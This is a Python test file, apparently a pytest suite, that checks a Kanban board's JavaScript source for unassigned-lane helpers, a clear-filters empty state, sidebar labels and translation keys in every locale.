assert "function _kanbanLaneNames" in PANELS
|
|
|
|
|
assert "function _kanbanRenderProfileLanes" in PANELS
|
|
|
|
|
assert "KANBAN_UNASSIGNED_LANE" in PANELS
|
|
|
|
|
assert "function _kanbanLaneKey" in PANELS
|
|
|
|
|
assert "function _kanbanLaneLabel" in PANELS
|
|
|
|
|
assert "kanban_unassigned" in PANELS
|
|
|
|
|
|
|
|
|
|
# Lane key helper returns the constant for tasks without an assignee.
|
|
|
|
|
assert "KANBAN_UNASSIGNED_LANE" in PANELS
|
|
|
|
|
# Lane label helper converts the constant back to a translated string.
|
|
|
|
|
assert "t('kanban_unassigned')" in PANELS
|
|
|
|
|
|
|
|
|
|
# _kanbanLaneNames uses _kanbanLaneKey to build the set, not raw assignee.
|
|
|
|
|
lane_names_match = re.search(
|
|
|
|
|
r"function _kanbanLaneNames\(columns\)\{(.*?)\nfunction ",
|
|
|
|
|
PANELS,
|
|
|
|
|
re.DOTALL,
|
|
|
|
|
)
|
|
|
|
|
assert lane_names_match, "_kanbanLaneNames() not found"
|
|
|
|
|
lane_names_body = lane_names_match.group(1)
|
|
|
|
|
assert "_kanbanLaneKey(task)" in lane_names_body
|
|
|
|
|
# Unassigned lane is appended last (after assigned lanes).
|
|
|
|
|
assert "has(KANBAN_UNASSIGNED_LANE)" in lane_names_body
|
|
|
|
|
|
|
|
|
|
# _kanbanRenderProfileLanes uses _kanbanLaneKey for filtering and
|
|
|
|
|
# _kanbanLaneLabel for display, and emits the unassigned CSS class.
|
|
|
|
|
render_match = re.search(
|
|
|
|
|
r"function _kanbanRenderProfileLanes\(columns\)\{(.*?)\nfunction ",
|
|
|
|
|
PANELS,
|
|
|
|
|
re.DOTALL,
|
|
|
|
|
)
|
|
|
|
|
assert render_match, "_kanbanRenderProfileLanes() not found"
|
|
|
|
|
render_body = render_match.group(1)
|
|
|
|
|
assert "_kanbanLaneNames(columns)" in render_body
|
|
|
|
|
assert "_kanbanLaneKey(task)" in render_body
|
|
|
|
|
assert "_kanbanLaneLabel(lane)" in render_body
|
|
|
|
|
assert "kanban-profile-lane-unassigned" in render_body
|
|
|
|
|
assert "kanban-profile-lane" in render_body
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_hidden_by_filters_ux():
|
|
|
|
|
"""When all tasks are filtered by the text search but unfiltered data
|
|
|
|
|
exists, the board should show an explanation and a Clear filters button
|
|
|
|
|
instead of a generic 'No Kanban data' empty state.
|
|
|
|
|
"""
|
|
|
|
|
# The helper functions exist.
|
|
|
|
|
assert "function _kanbanHiddenByFiltersHtml" in PANELS
|
|
|
|
|
assert "function clearKanbanFilters" in PANELS
|
|
|
|
|
|
|
|
|
|
# The empty-board branch checks unfiltered total.
|
|
|
|
|
render_match = re.search(
|
|
|
|
|
r"function _kanbanRenderBoard\(\)\{(.*?)\nfunction ",
|
|
|
|
|
PANELS,
|
|
|
|
|
re.DOTALL,
|
|
|
|
|
)
|
|
|
|
|
assert render_match, "_kanbanRenderBoard() not found"
|
|
|
|
|
render_body = render_match.group(1)
|
|
|
|
|
assert "_kanbanHiddenByFiltersHtml" in render_body
|
|
|
|
|
assert "unfilteredTotal" in render_body
|
|
|
|
|
|
|
|
|
|
# The hidden-html helper references the i18n keys.
|
|
|
|
|
hidden_match = re.search(
|
|
|
|
|
r"function _kanbanHiddenByFiltersHtml\(\)\{(.*?)\n\}",
|
|
|
|
|
PANELS,
|
|
|
|
|
re.DOTALL,
|
|
|
|
|
)
|
|
|
|
|
assert hidden_match, "_kanbanHiddenByFiltersHtml() not found"
|
|
|
|
|
hidden_body = hidden_match.group(1)
|
|
|
|
|
assert "kanban_tasks_hidden_by_filters" in hidden_body
|
|
|
|
|
assert "kanban_clear_filters" in hidden_body
|
|
|
|
|
assert "clearKanbanFilters()" in hidden_body
|
|
|
|
|
|
|
|
|
|
# clearKanbanFilters() resets all filter inputs and reloads.
|
|
|
|
|
clear_match = re.search(
|
|
|
|
|
r"function clearKanbanFilters\(\)\{(.*?)\n\}",
|
|
|
|
|
PANELS,
|
|
|
|
|
re.DOTALL,
|
|
|
|
|
)
|
|
|
|
|
assert clear_match, "clearKanbanFilters() not found"
|
|
|
|
|
clear_body = clear_match.group(1)
|
|
|
|
|
assert "kanbanSearch" in clear_body
|
|
|
|
|
assert "kanbanAssigneeFilter" in clear_body
|
|
|
|
|
assert "kanbanTenantFilter" in clear_body
|
|
|
|
|
assert "loadKanban(true)" in clear_body
|
|
|
|
|
|
|
|
|
|
# i18n keys exist in every locale.
|
|
|
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
|
|
|
|
for key in ("kanban_tasks_hidden_by_filters", "kanban_clear_filters"):
|
|
|
|
|
missing = [
|
|
|
|
|
locale
|
|
|
|
|
for locale, body in locale_blocks
|
|
|
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
|
|
|
]
|
|
|
|
|
assert missing == [], f"i18n key '{key}' missing from locales: {missing}"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_unassigned_lane_in_sidebar_meta():
|
|
|
|
|
"""Sidebar task list must show 'unassigned' label for tasks without an
|
|
|
|
|
assignee, not silently omit the field.
|
|
|
|
|
"""
|
|
|
|
|
meta_match = re.search(
|
|
|
|
|
r"function _kanbanTaskMeta\(task\)\{(.*?)\n\}",
|
|
|
|
|
PANELS,
|
|
|
|
|
re.DOTALL,
|
|
|
|
|
)
|
|
|
|
|
assert meta_match, "_kanbanTaskMeta() not found"
|
|
|
|
|
meta_body = meta_match.group(1)
|
|
|
|
|
# Must emit unassigned label when task.assignee is falsy.
|
|
|
|
|
assert "t('kanban_unassigned')" in meta_body
|